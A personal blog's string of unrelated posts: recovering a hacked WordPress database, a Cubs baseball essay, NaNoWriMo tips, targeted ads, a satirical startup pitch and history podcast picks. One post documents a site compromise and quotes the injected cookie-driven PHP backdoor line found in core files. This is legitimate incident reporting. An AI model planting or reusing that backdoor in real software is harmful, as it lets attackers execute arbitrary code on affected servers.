This post is more for the Fox Valley Computing Professionals crew that may find this link via the #mug. If you found this helpful, glad I could help. If you have any insights on making what I have better, please let me know.
I had a hacked WordPress site on a clients server with only production. No dev site to clean and do updates.
I recently updated Kalabox to 2.1.2, but had not run it.
Using FTP I was able to bring down the site and push up adminer so as to get into the database to create an SQL export. (no cpanel, or other access to the site was allowed)
Once the site was brought down I fired up Kalabox.
OK, this is my fault. I did not have the latest Mac Yosemite, so download the combo installer and update laptop.
Now we are ready
Nope. From the command line mysql is not found. Hmmm… kbox mysql? nope. kbox ssh? nope. I don’t really do much kalabox from the command line. To be honest I have only done a couple of WP sites using the Kalabox, so in no way am I a pro at it. That being said, could not find the db anywhere.
OK, Kalabox Connection Info.
Let’s fire up the Sequel Pro
And there you go!
Should I have been able to do this from the command line? I would think so, but if you are stuck, fire up that SQL tool and connect with the info provide by Kalabox
Some baseball team won last night. How do I know? I heard the explosions intermixed with what I am sure was gun fire. At midnight. The most boring game bringing a city to its knees in prayer.
I used to go to games, once or twice a year, only to leave by the 7th inning. When I was a kid I had the complete line up of ’69 cubbies in baseball cards. They would wind up pinned to the forks of my spider bike to slap the spokes as we rode through our kingdom. Listening to the games on the radio was comforting, dreamlike, with visions of playing for the majors when I got big.
Then life happened and I became less and less interested in the cubs. Sometimes they won, but mostly they lost. And I guess that is what I liked most of all. They marched on, moments of baseball glory peppered throughout. Kerry Wood and Sammy Sosa to name two.
And then Bartman.
I watched that game…at least I think I did. Memory is fuzzy. I am pretty sure I did because I remember the team falling apart, giving up bases and runs after the incident. And I remember feeling sorry for the guy. Wrong place, wrong time. Didn’t matter. The cubs sucked and nearly everyone, including players, took it out on this fan.
I stopped caring from that point. It wasn’t that the cubs were at fault. They just played crappy baseball. It was the fans, who, within shot of winning, came up with any scapegoat they could. A sap sitting on the 3rd base line. Wind. A curse and an actual fucking goat.
Are all cub fans bad? That’s a stupid question. Should I base my liking of a team on the fans? Probably, but it doesn’t really matter. In truth baseball is boring. And if you are excited to see some millionaires in pajamas doing better in a park than other millionaires in different pajamas, then that’s good. Sports are important in society, and you are in a vital role.
Sometimes that role lifts all to higher plane.
…and sometimes not.
In my latest newsletter, after several weeks of tackling how to defeat writer’s block, I have laid out my 10 steps to accomplishing 50k words in 30 days. If you have decided to tackle the Beast that is #NaNoWriMo, I hope this may be of some help:
- Write. Don’t edit. Write. Don’t read back what you read. Don’t give it to other people to read. Don’t fix misspellings. Don’t tell people about your story. Don’t think people will care. They probably will, but you need to do this for you.
- Continually remind yourself that all bad writing can be fixed. All of it.
- If you get stuck, ask why. (read my earlier newsletters on blocks) If you get really stuck, start another chapter. If you get really, really stuck, go back ten years and write about a character and develop their backstory.
- Write every day.
- Write beyond the daily limit every day. You’ll thank me later.
- Stop world building. Start character building. Unless you are stuck: Only world build if you are stuck. Otherwise, focus, always focus, on conflict, action, and character. (not shot em up conflict, but internal conflict, which drives a character to action, which in turn reveals character…which in turn creates an emotional link with the reader.) This is your goal.
- Tell your family what you are doing. Give them expectations in which to work with you. They will support you; they want to help, but you need to communicate this to them.
- Do NOT reward yourself until you have actually written something. Coffee, tea, music, checking facebook feeds, until you have written 250 words.
- Only when you have passed the 1,666 word count should you post anything on social media. Period. Do not pass Go, do not collect $200. You only have so many words in you per day. Don’t wast them in facebook.
- Write that novel. Spill your guts. Bleed. Be afraid. Know that you are not alone, no matter how lonely it really is.
Looking for some last minute planning help? Check out Lou’s NaNoWriMo Prep: One Hour Novel Plotting Guide
And when it is all over…
…come December you will package it up and send it off to one hundred lit agents and a bidding war will ensure.
Just kidding. Please, do not do this. (You would be surprised how many actually do)
Other musings on writing can be found HERE and on Twitter
I have never done a google search on orthopedic surgeons. I have no need to. My wife, that’s a different story. If you follow my exploits in any of the slack channels I manage, you’ll know this is a trying time for us. But I have never searched for an orthopedic surgeon, nor visited any from links or discussion groups.
I just wanted to say that.
Oh, and I don’t speak Spanish, am not looking for an older lady for adult fun, nor do I seek lower interest rates, no matter what the ads on Pandora continually tell me. I really don’t.
Today is different. Here is a screen grab of my pandora page today:
My wife sent me an email about the doctor she is seeing for a second opinion at Rush hospital in Chicago. I have never seen this ad before on Pandora. Like I mentioned, normally Pandora thinks I speak Spanish, am looking for an older lady friend, and a lower interest rate on my home.
Now, obviously Pandora does not control the ads; Google does. And the email is, wait for it….gmail. This all comes as no surprise, aside from the speed and blatancy. It was like, “HOLY CRAP, WE HAVE AN AD THIS GUY MAY WANT TO SEE!!!”
…all hail our robot overlords
So this new hit me pretty hard today. Normal WordPress hack I go through the plugins, see what’s infected, and work my way out. This time? Nope. Heck, even Google’s Safe Browsing Site Status came back as “Not Dangerous”. Online scanners came back clean, and was beginning to question what was what when, lo and behold in the Google SERP: This site may be hacked.
Something was amiss. The plugin CodeGuard was installed and activated. From their service: “When a change is detected, we will alert you and take a new backup of your database and site content.” There are a lot of backups in the site, and I wondered if the site owner was ever notified, or even cared. Upon closer inspection the API for the service was not set.
All files were touched by the hack, the line:
if (isset($_COOKIE[“id”])) @$_COOKIE[“user”]($_COOKIE[“id”]);
added to each core file. index.php, .htaccess and file in root called post.php where altered/added respectively. Because of their size I put them up on github at: https://github.com/michalsen/hacked_files
Yep, this server was rooted.
Here is my start up idea:
We provide companies with Razor scooters, ping pong tables, beer kegs, pretty people with nice teeth, and a photographer. We show up, have a party, take pictures and you can post them online to show how cutting edge you are.
It’s a win/win. You get to market what a cool company you have without actually having all those stupid distractions, and I make money off your stupidity thinking that’s what it takes to market a cool company.
This idea is for sale. $400. Yes, you can just take the idea, but I’ll put a Gypsy curse on you, if you do. For your piece of mind, $400 is pretty cheap.
You have finished the latest Dan Carlin epic cast: King of Kings, including that 5 hour finally! Now what? You want more, but unsure where to turn? How about some extra material to help you dig into the history
History on Fire Podcast
History professor Daniele Bolelli
The 10,000 part 1
The 10,000 part 2
Gates of Fire: An Epic Novel of the Battle of Thermopylae
Can not recommend this enough. Great read! 5 stars from me on amazon.
The Ten Thousand: A Novel of Ancient Greece
Michael Curtis Ford
I read this book about 2 years ago, and enjoyed it.
If you have other reads of podcasts you would like to see added this, please let me know in the comments below.